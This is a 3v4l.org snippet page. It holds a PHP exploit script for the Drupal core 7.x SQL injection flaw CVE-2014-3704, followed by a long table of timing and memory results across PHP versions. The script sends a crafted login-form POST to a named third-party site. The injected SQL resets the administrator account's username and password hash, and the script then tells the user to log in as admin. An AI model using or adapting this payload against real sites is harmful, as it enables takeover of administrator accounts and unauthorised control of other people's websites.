3v4l.org

run code in 300+ PHP versions simultaneously
<?php #-----------------------------------------------------------------------------# # Exploit Title: Drupal core 7.x - SQL Injection # # Date: Oct 16 2014 # # Exploit Author: Dustin Dörr # # Software Link: http://www.drupal.com/ # # Version: Drupal core 7.x versions prior to 7.32 # # CVE: CVE-2014-3704 # #-----------------------------------------------------------------------------# $url = 'http://animepavilion.com/drupal/'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username admin and password admin at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working."; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00718.93
8.3.50.0100.00921.21
8.3.40.0140.00419.17
8.3.30.0150.00019.14
8.3.20.0050.00320.57
8.3.10.0040.00422.10
8.3.00.0040.00419.94
8.2.180.0140.00416.88
8.2.170.0150.00022.96
8.2.160.0090.00620.58
8.2.150.0050.00324.18
8.2.140.0040.00424.66
8.2.130.0080.00026.16
8.2.120.0090.00017.88
8.2.110.0030.00722.36
8.2.100.0120.00019.91
8.2.90.0050.00518.03
8.2.80.0000.00820.64
8.2.70.0050.00318.18
8.2.60.0030.00718.18
8.2.50.0000.00818.10
8.2.40.0000.00720.85
8.2.30.0070.00020.89
8.2.20.0000.00917.89
8.2.10.0040.00418.32
8.2.00.0040.00418.33
8.1.280.0120.00925.92
8.1.270.0130.00722.35
8.1.260.0000.01126.35
8.1.250.0040.00428.09
8.1.240.0030.00621.11
8.1.230.0070.00421.14
8.1.220.0030.00518.02
8.1.210.0000.00818.77
8.1.200.0090.00017.48
8.1.190.0000.00817.63
8.1.180.0030.00618.10
8.1.170.0000.00818.75
8.1.160.0000.00822.30
8.1.150.0060.00319.07
8.1.140.0000.00917.63
8.1.130.0000.00717.83
8.1.120.0040.00417.64
8.1.110.0040.00417.61
8.1.100.0000.00717.51
8.1.90.0080.00017.43
8.1.80.0040.00417.65
8.1.70.0030.00317.50
8.1.60.0040.00417.66
8.1.50.0040.00417.74
8.1.40.0050.00317.70
8.1.30.0030.00617.76
8.1.20.0050.00317.84
8.1.10.0040.00417.70
8.1.00.0050.00417.59
8.0.300.0090.00020.29
8.0.290.0040.00417.00
8.0.280.0070.00018.72
8.0.270.0030.00317.58
8.0.260.0000.00717.58
8.0.250.0050.00217.20
8.0.240.0060.00017.19
8.0.230.0050.00417.16
8.0.220.0030.00317.11
8.0.210.0000.00717.04
8.0.200.0040.00417.24
8.0.190.0050.00317.23
8.0.180.0080.00017.08
8.0.170.0070.00317.07
8.0.160.0080.00017.16
8.0.150.0000.00717.13
8.0.140.0040.00417.11
8.0.130.0000.00613.61
8.0.120.0090.00017.23
8.0.110.0030.00617.31
8.0.100.0000.00817.28
8.0.90.0040.00417.32
8.0.80.0120.00617.25
8.0.70.0040.00417.32
8.0.60.0040.00417.20
8.0.50.0000.00817.22
8.0.30.0100.01517.34
8.0.20.0090.01117.44
8.0.10.0030.00517.24
8.0.00.0070.01317.08
7.4.330.0050.00015.41
7.4.320.0000.00816.65
7.4.300.0060.00316.75
7.4.290.0000.00716.73
7.4.280.0080.00316.76
7.4.270.0030.00316.61
7.4.260.0000.00716.62
7.4.250.0000.00816.86
7.4.240.0010.00616.71
7.4.230.0000.00716.66
7.4.220.0090.01516.87
7.4.210.0000.01416.76
7.4.200.0030.00516.89
7.4.160.0070.01116.82
7.4.150.0130.00617.40
7.4.140.0100.00917.86
7.4.130.0090.00916.75
7.4.120.0050.01116.80
7.4.110.0140.00916.81
7.4.100.0110.01416.83
7.4.90.0070.01116.69
7.4.80.0100.01019.39
7.4.70.0050.01416.67
7.4.60.0110.00816.83
7.4.50.0090.00016.83
7.4.40.0120.00616.89
7.4.30.0120.01216.57
7.4.00.0100.00715.21
7.3.330.0060.00013.45
7.3.320.0000.00513.51
7.3.310.0040.00416.68
7.3.300.0030.00316.76
7.3.290.0120.00616.68
7.3.280.0130.00616.71
7.3.270.0120.00817.40
7.3.260.0100.01416.57
7.3.250.0130.00516.65
7.3.240.0090.01216.82
7.3.230.0120.00916.89
7.3.210.0150.00316.57
7.3.200.0100.00616.70
7.3.190.0100.00716.62
7.3.180.0140.00316.69
7.3.170.0120.01216.71
7.3.160.0040.01316.58
7.3.00.0130.00316.52
7.2.330.0030.01516.92
7.2.320.0070.01116.72
7.2.310.0060.01216.87
7.2.300.0070.01217.06
7.2.290.0120.00616.95
7.2.130.0120.00617.04
7.2.120.0030.01116.75
7.2.110.0130.00317.25
7.2.100.0170.00716.62
7.2.90.0140.00716.81
7.2.80.0120.00617.28
7.2.70.0130.00316.92
7.2.60.0050.01216.76
7.2.50.0130.00316.99
7.2.40.0100.01317.09
7.2.30.0110.01116.77
7.2.20.0080.01217.14
7.2.10.0140.00417.07
7.2.00.0060.01018.51
7.1.250.0070.00715.87
7.1.240.0170.00315.76
7.1.230.0090.00916.04
7.1.220.0040.01115.76
7.1.210.0100.00715.93
7.1.200.0060.00716.13
7.1.190.0130.00315.57
7.1.180.0130.00715.95
7.1.170.0100.00316.05
7.1.160.0070.01416.04
7.1.150.0070.01015.80
7.1.140.0140.00415.83
7.1.130.0070.01115.60
7.1.120.0120.00315.86
7.1.110.0130.00716.02
7.1.100.0060.00817.34
7.1.90.0100.01016.13
7.1.80.0200.00015.78
7.1.70.0030.00816.56
7.1.60.0090.01417.57
7.1.50.0080.01316.62
7.1.40.0070.01016.13
7.1.30.0080.01115.46
7.1.20.0140.01015.75
7.1.10.0250.00615.89
7.1.00.0120.04119.37
7.0.330.0100.00715.38
7.0.320.0070.00715.48
7.0.310.0070.00715.58
7.0.300.0170.00715.52
7.0.290.0070.01015.32
7.0.280.0080.00815.30
7.0.270.0170.00015.71
7.0.260.0090.00615.26
7.0.250.0120.00915.87
7.0.240.0100.00315.82
7.0.230.0120.00315.21
7.0.220.0090.00415.53
7.0.210.0070.01715.43
7.0.200.0100.00316.54
7.0.190.0120.01315.83
7.0.180.0160.00315.10
7.0.170.0230.00715.66
7.0.160.0090.01615.54
7.0.150.0170.00915.54
7.0.140.0220.00315.71
7.0.130.0160.00415.47
7.0.120.0100.01315.66
7.0.110.0120.00915.74
7.0.100.0150.00715.59
7.0.90.0160.00315.73
7.0.80.0150.00415.29
7.0.70.0200.00715.68
7.0.60.0110.03517.86
7.0.50.0100.04516.89
7.0.40.0090.04617.07
7.0.30.0110.02817.02
7.0.20.0150.04617.03
7.0.10.0120.04217.01
7.0.00.0080.02817.04
5.6.380.0060.00914.53
5.6.370.0040.00814.53
5.6.360.0100.00714.61
5.6.350.0060.00614.20
5.6.340.0000.00914.31
5.6.330.0090.00614.60
5.6.320.0060.00614.64
5.6.310.0070.00714.50
5.6.300.0090.00914.59
5.6.290.0070.01014.30
5.6.280.0060.04117.78
5.6.270.0040.01114.53
5.6.260.0040.00814.68
5.6.250.0030.01314.20
5.6.240.0000.01514.52
5.6.230.0000.00914.46
5.6.220.0000.01114.19
5.6.210.0060.02317.63
5.6.200.0020.02816.45
5.6.190.0070.04317.75
5.6.180.0130.03617.63
5.6.170.0150.04317.53
5.6.160.0020.04017.54
5.6.150.0070.02516.41
5.6.140.0030.03116.45
5.6.130.0050.04616.59
5.6.120.0030.04017.67
5.6.110.0140.04117.87
5.6.100.0070.02417.81
5.6.90.0020.02517.88
5.6.80.0080.03817.60
5.6.70.0030.01214.05
5.6.60.0000.01014.55
5.6.50.0070.00714.11
5.6.40.0130.00314.21
5.6.30.0080.00814.28
5.6.20.0030.00914.50
5.6.10.0000.01014.36
5.6.00.0040.01114.20
5.5.380.0100.00311.26
5.5.370.0030.00311.28
5.5.360.0030.01011.18
5.5.350.0130.02516.05
5.5.340.0050.02514.79
5.5.330.0050.04516.04
5.5.320.0100.02616.03
5.5.310.0160.03215.97
5.5.300.0050.02014.89
5.5.290.0040.02314.80
5.5.280.0080.02616.13
5.5.270.0020.03316.15
5.5.260.0160.02816.13
5.5.250.0050.02316.19
5.5.240.0050.04315.93
5.5.230.0070.00711.18
5.5.220.0060.00611.18
5.5.210.0090.00411.18
5.5.200.0030.01011.18
5.5.190.0030.00911.32
5.5.180.0030.00311.18
5.5.170.0070.00711.18
5.5.160.0030.01011.18
5.5.150.0100.00011.18
5.5.140.0030.00311.50
5.5.130.0040.00811.18
5.5.120.0090.00011.23
5.5.110.0000.00911.21
5.5.100.0060.00611.18
5.5.90.0000.01311.33
5.5.80.0060.00611.38
5.5.70.0070.00411.18
5.5.60.0090.00011.29
5.5.50.0030.00711.18
5.5.40.0060.00311.18
5.5.30.0090.00311.50
5.5.20.0040.00411.43
5.5.10.0060.00611.18
5.5.00.0040.00411.18
5.4.450.0270.03915.61
5.4.440.0230.04015.64
5.4.430.0280.04015.64
5.4.420.0300.03515.57
5.4.410.0270.04115.62
5.4.400.0320.02315.51
5.4.390.0260.04015.49
5.4.380.0340.02615.45
5.4.370.0250.02715.49
5.4.360.0280.03815.38
5.4.350.0300.03215.45
5.4.340.0310.03115.43
5.4.330.0060.00311.18
5.4.320.0280.03115.63
5.4.310.0250.02215.42
5.4.300.0280.02915.51
5.4.290.0320.02715.42
5.4.280.0270.02315.52
5.4.270.0300.03515.39
5.4.260.0290.01915.43
5.4.250.0210.02415.38
5.4.240.0270.03415.41
5.4.230.0270.03615.43
5.4.220.0230.02515.45
5.4.210.0280.02115.44
5.4.200.0280.03915.50
5.4.190.0280.03715.58
5.4.180.0260.02615.46
5.4.170.0280.02015.47
5.4.160.0240.02215.39
5.4.150.0330.03515.46
5.4.140.0230.02314.09
5.4.130.0350.03014.11
5.4.120.0250.02514.11
5.4.110.0290.02114.18
5.4.100.0250.02714.12
5.4.90.0320.03114.05
5.4.80.0310.02314.06
5.4.70.0070.00711.32
5.4.60.0060.00811.18
5.4.50.0090.00311.18
5.4.40.0030.01011.20
5.4.30.0050.00811.18
5.4.20.0090.00611.18
5.4.10.0000.01311.36
5.4.00.0040.00911.18

preferences:
45.82 ms | 401 KiB | 5 Q